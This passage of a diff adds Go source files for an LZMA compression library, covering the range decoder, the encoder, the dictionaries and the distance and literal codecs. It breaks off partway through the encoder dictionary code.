// ErrLimit indicates that the limit of the LimitedByteWriter has been
|
||||
// reached.
|
||||
var ErrLimit = errors.New("limit reached")
|
||||
|
||||
// LimitedByteWriter provides a byte writer that can be written until a
|
||||
// limit is reached. The field N provides the number of remaining
|
||||
// bytes.
|
||||
type LimitedByteWriter struct {
|
||||
BW io.ByteWriter
|
||||
N int64
|
||||
}
|
||||
|
||||
// WriteByte writes a single byte to the limited byte writer. It returns
|
||||
// ErrLimit if the limit has been reached. If the byte is successfully
|
||||
// written the field N of the LimitedByteWriter will be decremented by
|
||||
// one.
|
||||
func (l *LimitedByteWriter) WriteByte(c byte) error {
|
||||
if l.N <= 0 {
|
||||
return ErrLimit
|
||||
}
|
||||
if err := l.BW.WriteByte(c); err != nil {
|
||||
return err
|
||||
}
|
||||
l.N--
|
||||
return nil
|
||||
}
|
||||
+277
@@ -0,0 +1,277 @@
|
||||
// Copyright 2014-2022 Ulrich Kunitz. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package lzma
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
)
|
||||
|
||||
// decoder decodes a raw LZMA stream without any header.
|
||||
type decoder struct {
|
||||
// dictionary; the rear pointer of the buffer will be used for
|
||||
// reading the data.
|
||||
Dict *decoderDict
|
||||
// decoder state
|
||||
State *state
|
||||
// range decoder
|
||||
rd *rangeDecoder
|
||||
// start stores the head value of the dictionary for the LZMA
|
||||
// stream
|
||||
start int64
|
||||
// size of uncompressed data
|
||||
size int64
|
||||
// end-of-stream encountered
|
||||
eos bool
|
||||
// EOS marker found
|
||||
eosMarker bool
|
||||
}
|
||||
|
||||
// newDecoder creates a new decoder instance. The parameter size provides
|
||||
// the expected byte size of the decompressed data. If the size is
|
||||
// unknown use a negative value. In that case the decoder will look for
|
||||
// a terminating end-of-stream marker.
|
||||
func newDecoder(br io.ByteReader, state *state, dict *decoderDict, size int64) (d *decoder, err error) {
|
||||
rd, err := newRangeDecoder(br)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
d = &decoder{
|
||||
State: state,
|
||||
Dict: dict,
|
||||
rd: rd,
|
||||
size: size,
|
||||
start: dict.pos(),
|
||||
}
|
||||
return d, nil
|
||||
}
|
||||
|
||||
// Reopen restarts the decoder with a new byte reader and a new size. Reopen
|
||||
// resets the Decompressed counter to zero.
|
||||
func (d *decoder) Reopen(br io.ByteReader, size int64) error {
|
||||
var err error
|
||||
if d.rd, err = newRangeDecoder(br); err != nil {
|
||||
return err
|
||||
}
|
||||
d.start = d.Dict.pos()
|
||||
d.size = size
|
||||
d.eos = false
|
||||
return nil
|
||||
}
|
||||
|
||||
// decodeLiteral decodes a single literal from the LZMA stream.
|
||||
func (d *decoder) decodeLiteral() (op operation, err error) {
|
||||
litState := d.State.litState(d.Dict.byteAt(1), d.Dict.head)
|
||||
match := d.Dict.byteAt(int(d.State.rep[0]) + 1)
|
||||
s, err := d.State.litCodec.Decode(d.rd, d.State.state, match, litState)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return lit{s}, nil
|
||||
}
|
||||
|
||||
// errEOS indicates that an EOS marker has been found.
|
||||
var errEOS = errors.New("EOS marker found")
|
||||
|
||||
// readOp decodes the next operation from the compressed stream. It
|
||||
// returns the operation. If an explicit end of stream marker is
|
||||
// identified the eos error is returned.
|
||||
func (d *decoder) readOp() (op operation, err error) {
|
||||
// Value of the end of stream (EOS) marker
|
||||
const eosDist = 1<<32 - 1
|
||||
|
||||
state, state2, posState := d.State.states(d.Dict.head)
|
||||
|
||||
b, err := d.State.isMatch[state2].Decode(d.rd)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if b == 0 {
|
||||
// literal
|
||||
op, err := d.decodeLiteral()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
d.State.updateStateLiteral()
|
||||
return op, nil
|
||||
}
|
||||
b, err = d.State.isRep[state].Decode(d.rd)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if b == 0 {
|
||||
// simple match
|
||||
d.State.rep[3], d.State.rep[2], d.State.rep[1] =
|
||||
d.State.rep[2], d.State.rep[1], d.State.rep[0]
|
||||
|
||||
d.State.updateStateMatch()
|
||||
// The length decoder returns the length offset.
|
||||
n, err := d.State.lenCodec.Decode(d.rd, posState)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// The dist decoder returns the distance offset. The actual
|
||||
// distance is 1 higher.
|
||||
d.State.rep[0], err = d.State.distCodec.Decode(d.rd, n)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if d.State.rep[0] == eosDist {
|
||||
d.eosMarker = true
|
||||
return nil, errEOS
|
||||
}
|
||||
op = match{n: int(n) + minMatchLen,
|
||||
distance: int64(d.State.rep[0]) + minDistance}
|
||||
return op, nil
|
||||
}
|
||||
b, err = d.State.isRepG0[state].Decode(d.rd)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dist := d.State.rep[0]
|
||||
if b == 0 {
|
||||
// rep match 0
|
||||
b, err = d.State.isRepG0Long[state2].Decode(d.rd)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if b == 0 {
|
||||
d.State.updateStateShortRep()
|
||||
op = match{n: 1, distance: int64(dist) + minDistance}
|
||||
return op, nil
|
||||
}
|
||||
} else {
|
||||
b, err = d.State.isRepG1[state].Decode(d.rd)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if b == 0 {
|
||||
dist = d.State.rep[1]
|
||||
} else {
|
||||
b, err = d.State.isRepG2[state].Decode(d.rd)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if b == 0 {
|
||||
dist = d.State.rep[2]
|
||||
} else {
|
||||
dist = d.State.rep[3]
|
||||
d.State.rep[3] = d.State.rep[2]
|
||||
}
|
||||
d.State.rep[2] = d.State.rep[1]
|
||||
}
|
||||
d.State.rep[1] = d.State.rep[0]
|
||||
d.State.rep[0] = dist
|
||||
}
|
||||
n, err := d.State.repLenCodec.Decode(d.rd, posState)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
d.State.updateStateRep()
|
||||
op = match{n: int(n) + minMatchLen, distance: int64(dist) + minDistance}
|
||||
return op, nil
|
||||
}
|
||||
|
||||
// apply takes the operation and transforms the decoder dictionary accordingly.
|
||||
func (d *decoder) apply(op operation) error {
|
||||
var err error
|
||||
switch x := op.(type) {
|
||||
case match:
|
||||
err = d.Dict.writeMatch(x.distance, x.n)
|
||||
case lit:
|
||||
err = d.Dict.WriteByte(x.b)
|
||||
default:
|
||||
panic("op is neither a match nor a literal")
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
// decompress fills the dictionary unless no space for new data is
|
||||
// available. If the end of the LZMA stream has been reached io.EOF will
|
||||
// be returned.
|
||||
func (d *decoder) decompress() error {
|
||||
if d.eos {
|
||||
return io.EOF
|
||||
}
|
||||
for d.Dict.Available() >= maxMatchLen {
|
||||
op, err := d.readOp()
|
||||
switch err {
|
||||
case nil:
|
||||
// break
|
||||
case errEOS:
|
||||
d.eos = true
|
||||
if !d.rd.possiblyAtEnd() {
|
||||
return errDataAfterEOS
|
||||
}
|
||||
if d.size >= 0 && d.size != d.Decompressed() {
|
||||
return errSize
|
||||
}
|
||||
return io.EOF
|
||||
case io.EOF:
|
||||
d.eos = true
|
||||
return io.ErrUnexpectedEOF
|
||||
default:
|
||||
return err
|
||||
}
|
||||
if err = d.apply(op); err != nil {
|
||||
return err
|
||||
}
|
||||
if d.size >= 0 && d.Decompressed() >= d.size {
|
||||
d.eos = true
|
||||
if d.Decompressed() > d.size {
|
||||
return errSize
|
||||
}
|
||||
if !d.rd.possiblyAtEnd() {
|
||||
switch _, err = d.readOp(); err {
|
||||
case nil:
|
||||
return errSize
|
||||
case io.EOF:
|
||||
return io.ErrUnexpectedEOF
|
||||
case errEOS:
|
||||
break
|
||||
default:
|
||||
return err
|
||||
}
|
||||
}
|
||||
return io.EOF
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Errors that may be returned while decoding data.
|
||||
var (
|
||||
errDataAfterEOS = errors.New("lzma: data after end of stream marker")
|
||||
errSize = errors.New("lzma: wrong uncompressed data size")
|
||||
)
|
||||
|
||||
// Read reads data from the buffer. If no more data is available io.EOF is
|
||||
// returned.
|
||||
func (d *decoder) Read(p []byte) (n int, err error) {
|
||||
var k int
|
||||
for {
|
||||
// Read of decoder dict never returns an error.
|
||||
k, err = d.Dict.Read(p[n:])
|
||||
if err != nil {
|
||||
panic(fmt.Errorf("dictionary read error %s", err))
|
||||
}
|
||||
if k == 0 && d.eos {
|
||||
return n, io.EOF
|
||||
}
|
||||
n += k
|
||||
if n >= len(p) {
|
||||
return n, nil
|
||||
}
|
||||
if err = d.decompress(); err != nil && err != io.EOF {
|
||||
return n, err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Decompressed returns the number of bytes decompressed by the decoder.
|
||||
func (d *decoder) Decompressed() int64 {
|
||||
return d.Dict.pos() - d.start
|
||||
}
|
||||
+128
@@ -0,0 +1,128 @@
|
||||
// Copyright 2014-2022 Ulrich Kunitz. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package lzma
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
// decoderDict provides the dictionary for the decoder. The whole
|
||||
// dictionary is used as reader buffer.
|
||||
type decoderDict struct {
|
||||
buf buffer
|
||||
head int64
|
||||
}
|
||||
|
||||
// newDecoderDict creates a new decoder dictionary. The whole dictionary
|
||||
// will be used as reader buffer.
|
||||
func newDecoderDict(dictCap int) (d *decoderDict, err error) {
|
||||
// lower limit supports easy test cases
|
||||
if !(1 <= dictCap && int64(dictCap) <= MaxDictCap) {
|
||||
return nil, errors.New("lzma: dictCap out of range")
|
||||
}
|
||||
d = &decoderDict{buf: *newBuffer(dictCap)}
|
||||
return d, nil
|
||||
}
|
||||
|
||||
// Reset clears the dictionary. The read buffer is not changed, so the
|
||||
// buffered data can still be read.
|
||||
func (d *decoderDict) Reset() {
|
||||
d.head = 0
|
||||
}
|
||||
|
||||
// WriteByte writes a single byte into the dictionary. It is used to
|
||||
// write literals into the dictionary.
|
||||
func (d *decoderDict) WriteByte(c byte) error {
|
||||
if err := d.buf.WriteByte(c); err != nil {
|
||||
return err
|
||||
}
|
||||
d.head++
|
||||
return nil
|
||||
}
|
||||
|
||||
// pos returns the position of the dictionary head.
|
||||
func (d *decoderDict) pos() int64 { return d.head }
|
||||
|
||||
// dictLen returns the actual length of the dictionary.
|
||||
func (d *decoderDict) dictLen() int {
|
||||
capacity := d.buf.Cap()
|
||||
if d.head >= int64(capacity) {
|
||||
return capacity
|
||||
}
|
||||
return int(d.head)
|
||||
}
|
||||
|
||||
// byteAt returns a byte stored in the dictionary. If the distance is
|
||||
// non-positive or exceeds the current length of the dictionary the zero
|
||||
// byte is returned.
|
||||
func (d *decoderDict) byteAt(dist int) byte {
|
||||
if !(0 < dist && dist <= d.dictLen()) {
|
||||
return 0
|
||||
}
|
||||
i := d.buf.front - dist
|
||||
if i < 0 {
|
||||
i += len(d.buf.data)
|
||||
}
|
||||
return d.buf.data[i]
|
||||
}
|
||||
|
||||
// writeMatch writes the match at the top of the dictionary. The given
|
||||
// distance must point in the current dictionary and the length must not
|
||||
// exceed the maximum length 273 supported in LZMA.
|
||||
//
|
||||
// The error value ErrNoSpace indicates that no space is available in
|
||||
// the dictionary for writing. You need to read from the dictionary
|
||||
// first.
|
||||
func (d *decoderDict) writeMatch(dist int64, length int) error {
|
||||
if !(0 < dist && dist <= int64(d.dictLen())) {
|
||||
return errors.New("writeMatch: distance out of range")
|
||||
}
|
||||
if !(0 < length && length <= maxMatchLen) {
|
||||
return errors.New("writeMatch: length out of range")
|
||||
}
|
||||
if length > d.buf.Available() {
|
||||
return ErrNoSpace
|
||||
}
|
||||
d.head += int64(length)
|
||||
|
||||
i := d.buf.front - int(dist)
|
||||
if i < 0 {
|
||||
i += len(d.buf.data)
|
||||
}
|
||||
for length > 0 {
|
||||
var p []byte
|
||||
if i >= d.buf.front {
|
||||
p = d.buf.data[i:]
|
||||
i = 0
|
||||
} else {
|
||||
p = d.buf.data[i:d.buf.front]
|
||||
i = d.buf.front
|
||||
}
|
||||
if len(p) > length {
|
||||
p = p[:length]
|
||||
}
|
||||
if _, err := d.buf.Write(p); err != nil {
|
||||
panic(fmt.Errorf("d.buf.Write returned error %s", err))
|
||||
}
|
||||
length -= len(p)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Write writes the given bytes into the dictionary and advances the
|
||||
// head.
|
||||
func (d *decoderDict) Write(p []byte) (n int, err error) {
|
||||
n, err = d.buf.Write(p)
|
||||
d.head += int64(n)
|
||||
return n, err
|
||||
}
|
||||
|
||||
// Available returns the number of available bytes for writing into the
|
||||
// decoder dictionary.
|
||||
func (d *decoderDict) Available() int { return d.buf.Available() }
|
||||
|
||||
// Read reads data from the buffer contained in the decoder dictionary.
|
||||
func (d *decoderDict) Read(p []byte) (n int, err error) { return d.buf.Read(p) }
|
||||
+38
@@ -0,0 +1,38 @@
|
||||
// Copyright 2014-2022 Ulrich Kunitz. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package lzma
|
||||
|
||||
// directCodec allows the encoding and decoding of values with a fixed number
|
||||
// of bits. The number of bits must be in the range [1,32].
|
||||
type directCodec byte
|
||||
|
||||
// Bits returns the number of bits supported by this codec.
|
||||
func (dc directCodec) Bits() int {
|
||||
return int(dc)
|
||||
}
|
||||
|
||||
// Encode uses the range encoder to encode a value with the fixed number of
|
||||
// bits. The most-significant bit is encoded first.
|
||||
func (dc directCodec) Encode(e *rangeEncoder, v uint32) error {
|
||||
for i := int(dc) - 1; i >= 0; i-- {
|
||||
if err := e.DirectEncodeBit(v >> uint(i)); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Decode uses the range decoder to decode a value with the given number of
|
||||
// given bits. The most-significant bit is decoded first.
|
||||
func (dc directCodec) Decode(d *rangeDecoder) (v uint32, err error) {
|
||||
for i := int(dc) - 1; i >= 0; i-- {
|
||||
x, err := d.DirectDecodeBit()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
v = (v << 1) | x
|
||||
}
|
||||
return v, nil
|
||||
}
|
||||
+140
@@ -0,0 +1,140 @@
|
||||
// Copyright 2014-2022 Ulrich Kunitz. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package lzma
|
||||
|
||||
// Constants used by the distance codec.
|
||||
const (
|
||||
// minimum supported distance
|
||||
minDistance = 1
|
||||
// maximum supported distance, value is used for the eos marker.
|
||||
maxDistance = 1 << 32
|
||||
// number of the supported len states
|
||||
lenStates = 4
|
||||
// start for the position models
|
||||
startPosModel = 4
|
||||
// first index with align bits support
|
||||
endPosModel = 14
|
||||
// bits for the position slots
|
||||
posSlotBits = 6
|
||||
// number of align bits
|
||||
alignBits = 4
|
||||
)
|
||||
|
||||
// distCodec provides encoding and decoding of distance values.
|
||||
type distCodec struct {
|
||||
posSlotCodecs [lenStates]treeCodec
|
||||
posModel [endPosModel - startPosModel]treeReverseCodec
|
||||
alignCodec treeReverseCodec
|
||||
}
|
||||
|
||||
// deepcopy initializes dc as deep copy of the source.
|
||||
func (dc *distCodec) deepcopy(src *distCodec) {
|
||||
if dc == src {
|
||||
return
|
||||
}
|
||||
for i := range dc.posSlotCodecs {
|
||||
dc.posSlotCodecs[i].deepcopy(&src.posSlotCodecs[i])
|
||||
}
|
||||
for i := range dc.posModel {
|
||||
dc.posModel[i].deepcopy(&src.posModel[i])
|
||||
}
|
||||
dc.alignCodec.deepcopy(&src.alignCodec)
|
||||
}
|
||||
|
||||
// newDistCodec creates a new distance codec.
|
||||
func (dc *distCodec) init() {
|
||||
for i := range dc.posSlotCodecs {
|
||||
dc.posSlotCodecs[i] = makeTreeCodec(posSlotBits)
|
||||
}
|
||||
for i := range dc.posModel {
|
||||
posSlot := startPosModel + i
|
||||
bits := (posSlot >> 1) - 1
|
||||
dc.posModel[i] = makeTreeReverseCodec(bits)
|
||||
}
|
||||
dc.alignCodec = makeTreeReverseCodec(alignBits)
|
||||
}
|
||||
|
||||
// lenState converts the value l to a supported lenState value.
|
||||
func lenState(l uint32) uint32 {
|
||||
if l >= lenStates {
|
||||
l = lenStates - 1
|
||||
}
|
||||
return l
|
||||
}
|
||||
|
||||
// Encode encodes the distance using the parameter l. Dist can have values from
|
||||
// the full range of uint32 values. To get the distance offset the actual match
|
||||
// distance has to be decreased by 1. A distance offset of 0xffffffff (eos)
|
||||
// indicates the end of the stream.
|
||||
func (dc *distCodec) Encode(e *rangeEncoder, dist uint32, l uint32) (err error) {
|
||||
// Compute the posSlot using nlz32
|
||||
var posSlot uint32
|
||||
var bits uint32
|
||||
if dist < startPosModel {
|
||||
posSlot = dist
|
||||
} else {
|
||||
bits = uint32(30 - nlz32(dist))
|
||||
posSlot = startPosModel - 2 + (bits << 1)
|
||||
posSlot += (dist >> uint(bits)) & 1
|
||||
}
|
||||
|
||||
if err = dc.posSlotCodecs[lenState(l)].Encode(e, posSlot); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
switch {
|
||||
case posSlot < startPosModel:
|
||||
return nil
|
||||
case posSlot < endPosModel:
|
||||
tc := &dc.posModel[posSlot-startPosModel]
|
||||
return tc.Encode(dist, e)
|
||||
}
|
||||
dic := directCodec(bits - alignBits)
|
||||
if err = dic.Encode(e, dist>>alignBits); err != nil {
|
||||
return
|
||||
}
|
||||
return dc.alignCodec.Encode(dist, e)
|
||||
}
|
||||
|
||||
// Decode decodes the distance offset using the parameter l. The dist value
|
||||
// 0xffffffff (eos) indicates the end of the stream. Add one to the distance
|
||||
// offset to get the actual match distance.
|
||||
func (dc *distCodec) Decode(d *rangeDecoder, l uint32) (dist uint32, err error) {
|
||||
posSlot, err := dc.posSlotCodecs[lenState(l)].Decode(d)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// posSlot equals distance
|
||||
if posSlot < startPosModel {
|
||||
return posSlot, nil
|
||||
}
|
||||
|
||||
// posSlot uses the individual models
|
||||
bits := (posSlot >> 1) - 1
|
||||
dist = (2 | (posSlot & 1)) << bits
|
||||
var u uint32
|
||||
if posSlot < endPosModel {
|
||||
tc := &dc.posModel[posSlot-startPosModel]
|
||||
if u, err = tc.Decode(d); err != nil {
|
||||
return 0, err
|
||||
}
|
||||
dist += u
|
||||
return dist, nil
|
||||
}
|
||||
|
||||
// posSlots use direct encoding and a single model for the four align
|
||||
// bits.
|
||||
dic := directCodec(bits - alignBits)
|
||||
if u, err = dic.Decode(d); err != nil {
|
||||
return 0, err
|
||||
}
|
||||
dist += u << alignBits
|
||||
if u, err = dc.alignCodec.Decode(d); err != nil {
|
||||
return 0, err
|
||||
}
|
||||
dist += u
|
||||
return dist, nil
|
||||
}
|
||||
+268
@@ -0,0 +1,268 @@
|
||||
// Copyright 2014-2022 Ulrich Kunitz. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package lzma
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
)
|
||||
|
||||
// opLenMargin provides the upper limit of the number of bytes required
|
||||
// to encode a single operation.
|
||||
const opLenMargin = 16
|
||||
|
||||
// compressFlags control the compression process.
|
||||
type compressFlags uint32
|
||||
|
||||
// Values for compressFlags.
|
||||
const (
|
||||
// all data should be compressed, even if compression is not
|
||||
// optimal.
|
||||
all compressFlags = 1 << iota
|
||||
)
|
||||
|
||||
// encoderFlags provide the flags for an encoder.
|
||||
type encoderFlags uint32
|
||||
|
||||
// Flags for the encoder.
|
||||
const (
|
||||
// eosMarker requests an EOS marker to be written.
|
||||
eosMarker encoderFlags = 1 << iota
|
||||
)
|
||||
|
||||
// Encoder compresses data buffered in the encoder dictionary and writes
|
||||
// it into a byte writer.
|
||||
type encoder struct {
|
||||
dict *encoderDict
|
||||
state *state
|
||||
re *rangeEncoder
|
||||
start int64
|
||||
// generate eos marker
|
||||
marker bool
|
||||
limit bool
|
||||
margin int
|
||||
}
|
||||
|
||||
// newEncoder creates a new encoder. If the byte writer must be
|
||||
// limited use LimitedByteWriter provided by this package. The flags
|
||||
// argument supports the eosMarker flag, controlling whether a
|
||||
// terminating end-of-stream marker must be written.
|
||||
func newEncoder(bw io.ByteWriter, state *state, dict *encoderDict,
|
||||
flags encoderFlags) (e *encoder, err error) {
|
||||
|
||||
re, err := newRangeEncoder(bw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
e = &encoder{
|
||||
dict: dict,
|
||||
state: state,
|
||||
re: re,
|
||||
marker: flags&eosMarker != 0,
|
||||
start: dict.Pos(),
|
||||
margin: opLenMargin,
|
||||
}
|
||||
if e.marker {
|
||||
e.margin += 5
|
||||
}
|
||||
return e, nil
|
||||
}
|
||||
|
||||
// Write writes the bytes from p into the dictionary. If not enough
|
||||
// space is available the data in the dictionary buffer will be
|
||||
// compressed to make additional space available. If the limit of the
|
||||
// underlying writer has been reached ErrLimit will be returned.
|
||||
func (e *encoder) Write(p []byte) (n int, err error) {
|
||||
for {
|
||||
k, err := e.dict.Write(p[n:])
|
||||
n += k
|
||||
if err == ErrNoSpace {
|
||||
if err = e.compress(0); err != nil {
|
||||
return n, err
|
||||
}
|
||||
continue
|
||||
}
|
||||
return n, err
|
||||
}
|
||||
}
|
||||
|
||||
// Reopen reopens the encoder with a new byte writer.
|
||||
func (e *encoder) Reopen(bw io.ByteWriter) error {
|
||||
var err error
|
||||
if e.re, err = newRangeEncoder(bw); err != nil {
|
||||
return err
|
||||
}
|
||||
e.start = e.dict.Pos()
|
||||
e.limit = false
|
||||
return nil
|
||||
}
|
||||
|
||||
// writeLiteral writes a literal into the LZMA stream
|
||||
func (e *encoder) writeLiteral(l lit) error {
|
||||
var err error
|
||||
state, state2, _ := e.state.states(e.dict.Pos())
|
||||
if err = e.state.isMatch[state2].Encode(e.re, 0); err != nil {
|
||||
return err
|
||||
}
|
||||
litState := e.state.litState(e.dict.ByteAt(1), e.dict.Pos())
|
||||
match := e.dict.ByteAt(int(e.state.rep[0]) + 1)
|
||||
err = e.state.litCodec.Encode(e.re, l.b, state, match, litState)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
e.state.updateStateLiteral()
|
||||
return nil
|
||||
}
|
||||
|
||||
// iverson implements the Iverson operator as proposed by Donald Knuth in his
|
||||
// book Concrete Mathematics.
|
||||
func iverson(ok bool) uint32 {
|
||||
if ok {
|
||||
return 1
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
// writeMatch writes a repetition operation into the operation stream
|
||||
func (e *encoder) writeMatch(m match) error {
|
||||
var err error
|
||||
if !(minDistance <= m.distance && m.distance <= maxDistance) {
|
||||
panic(fmt.Errorf("match distance %d out of range", m.distance))
|
||||
}
|
||||
dist := uint32(m.distance - minDistance)
|
||||
if !(minMatchLen <= m.n && m.n <= maxMatchLen) &&
|
||||
!(dist == e.state.rep[0] && m.n == 1) {
|
||||
panic(fmt.Errorf(
|
||||
"match length %d out of range; dist %d rep[0] %d",
|
||||
m.n, dist, e.state.rep[0]))
|
||||
}
|
||||
state, state2, posState := e.state.states(e.dict.Pos())
|
||||
if err = e.state.isMatch[state2].Encode(e.re, 1); err != nil {
|
||||
return err
|
||||
}
|
||||
g := 0
|
||||
for ; g < 4; g++ {
|
||||
if e.state.rep[g] == dist {
|
||||
break
|
||||
}
|
||||
}
|
||||
b := iverson(g < 4)
|
||||
if err = e.state.isRep[state].Encode(e.re, b); err != nil {
|
||||
return err
|
||||
}
|
||||
n := uint32(m.n - minMatchLen)
|
||||
if b == 0 {
|
||||
// simple match
|
||||
e.state.rep[3], e.state.rep[2], e.state.rep[1], e.state.rep[0] =
|
||||
e.state.rep[2], e.state.rep[1], e.state.rep[0], dist
|
||||
e.state.updateStateMatch()
|
||||
if err = e.state.lenCodec.Encode(e.re, n, posState); err != nil {
|
||||
return err
|
||||
}
|
||||
return e.state.distCodec.Encode(e.re, dist, n)
|
||||
}
|
||||
b = iverson(g != 0)
|
||||
if err = e.state.isRepG0[state].Encode(e.re, b); err != nil {
|
||||
return err
|
||||
}
|
||||
if b == 0 {
|
||||
// g == 0
|
||||
b = iverson(m.n != 1)
|
||||
if err = e.state.isRepG0Long[state2].Encode(e.re, b); err != nil {
|
||||
return err
|
||||
}
|
||||
if b == 0 {
|
||||
e.state.updateStateShortRep()
|
||||
return nil
|
||||
}
|
||||
} else {
|
||||
// g in {1,2,3}
|
||||
b = iverson(g != 1)
|
||||
if err = e.state.isRepG1[state].Encode(e.re, b); err != nil {
|
||||
return err
|
||||
}
|
||||
if b == 1 {
|
||||
// g in {2,3}
|
||||
b = iverson(g != 2)
|
||||
err = e.state.isRepG2[state].Encode(e.re, b)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if b == 1 {
|
||||
e.state.rep[3] = e.state.rep[2]
|
||||
}
|
||||
e.state.rep[2] = e.state.rep[1]
|
||||
}
|
||||
e.state.rep[1] = e.state.rep[0]
|
||||
e.state.rep[0] = dist
|
||||
}
|
||||
e.state.updateStateRep()
|
||||
return e.state.repLenCodec.Encode(e.re, n, posState)
|
||||
}
|
||||
|
||||
// writeOp writes a single operation to the range encoder. The function
|
||||
// checks whether there is enough space available to close the LZMA
|
||||
// stream.
|
||||
func (e *encoder) writeOp(op operation) error {
|
||||
if e.re.Available() < int64(e.margin) {
|
||||
return ErrLimit
|
||||
}
|
||||
switch x := op.(type) {
|
||||
case lit:
|
||||
return e.writeLiteral(x)
|
||||
case match:
|
||||
return e.writeMatch(x)
|
||||
default:
|
||||
panic("unexpected operation")
|
||||
}
|
||||
}
|
||||
|
||||
// compress compressed data from the dictionary buffer. If the flag all
|
||||
// is set, all data in the dictionary buffer will be compressed. The
|
||||
// function returns ErrLimit if the underlying writer has reached its
|
||||
// limit.
|
||||
func (e *encoder) compress(flags compressFlags) error {
|
||||
n := 0
|
||||
if flags&all == 0 {
|
||||
n = maxMatchLen - 1
|
||||
}
|
||||
d := e.dict
|
||||
m := d.m
|
||||
for d.Buffered() > n {
|
||||
op := m.NextOp(e.state.rep)
|
||||
if err := e.writeOp(op); err != nil {
|
||||
return err
|
||||
}
|
||||
d.Discard(op.Len())
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// eosMatch is a pseudo operation that indicates the end of the stream.
|
||||
var eosMatch = match{distance: maxDistance, n: minMatchLen}
|
||||
|
||||
// Close terminates the LZMA stream. If requested the end-of-stream
|
||||
// marker will be written. If the byte writer limit has been or will be
|
||||
// reached during compression of the remaining data in the buffer the
|
||||
// LZMA stream will be closed and data will remain in the buffer.
|
||||
func (e *encoder) Close() error {
|
||||
err := e.compress(all)
|
||||
if err != nil && err != ErrLimit {
|
||||
return err
|
||||
}
|
||||
if e.marker {
|
||||
if err := e.writeMatch(eosMatch); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
err = e.re.Close()
|
||||
return err
|
||||
}
|
||||
|
||||
// Compressed returns the number bytes of the input data that been
|
||||
// compressed.
|
||||
func (e *encoder) Compressed() int64 {
|
||||
return e.dict.Pos() - e.start
|
||||
}
|
||||
+149
@@ -0,0 +1,149 @@
|
||||
// Copyright 2014-2022 Ulrich Kunitz. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package lzma
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
)
|
||||
|
||||
// matcher is an interface that supports the identification of the next
|
||||
// operation.
|
||||
type matcher interface {
|
||||
io.Writer
|
||||
SetDict(d *encoderDict)
|
||||
NextOp(rep [4]uint32) operation
|
||||
}
|
||||
|
||||
// encoderDict provides the dictionary of the encoder. It includes an
|
||||
// additional buffer atop of the actual dictionary.
|
||||
type encoderDict struct {
|
||||
buf buffer
|
||||
m matcher
|
||||
head int64
|
||||
capacity int
|
||||
// preallocated array
|
||||
data [maxMatchLen]byte
|
||||
}
|
||||
|
||||
// newEncoderDict creates the encoder dictionary. The argument bufSize
|
||||
// defines the size of the additional buffer.
|
||||
func newEncoderDict(dictCap, bufSize int, m matcher) (d *encoderDict, err error) {
|
||||
if !(1 <= dictCap && int64(dictCap) <= MaxDictCap) {
|
||||
return nil, errors.New(
|
||||
"lzma: dictionary capacity out of range")
|
||||
}
|
||||
if bufSize < 1 {
|
||||
return nil, errors.New(
|
||||
"lzma: buffer size must be larger than zero")
|
||||
}
|
||||
d = &encoderDict{
|
||||
buf: *newBuffer(dictCap + bufSize),
|
||||
capacity: dictCap,
|
||||
m: m,
|
||||
}
|
||||
m.SetDict(d)
|
||||
return d, nil
|
||||
}
|
||||
|
||||
// Discard discards n bytes. Note that n must not be larger than
|
||||
// MaxMatchLen.
|
||||
func (d *encoderDict) Discard(n int) {
|
||||
p := d.data[:n]
|
||||
k, _ := d.buf.Read(p)
|
||||
if k < n {
|
||||
panic(fmt.Errorf("lzma: can't discard %d bytes", n))
|
||||
}
|
||||
d.head += int64(n)
|
||||
d.m.Write(p)
|
||||
}
|
||||
|
||||
// Len returns the data available in the encoder dictionary.
|
||||
func (d *encoderDict) Len() int {
|
||||
n := d.buf.Available()
|
||||
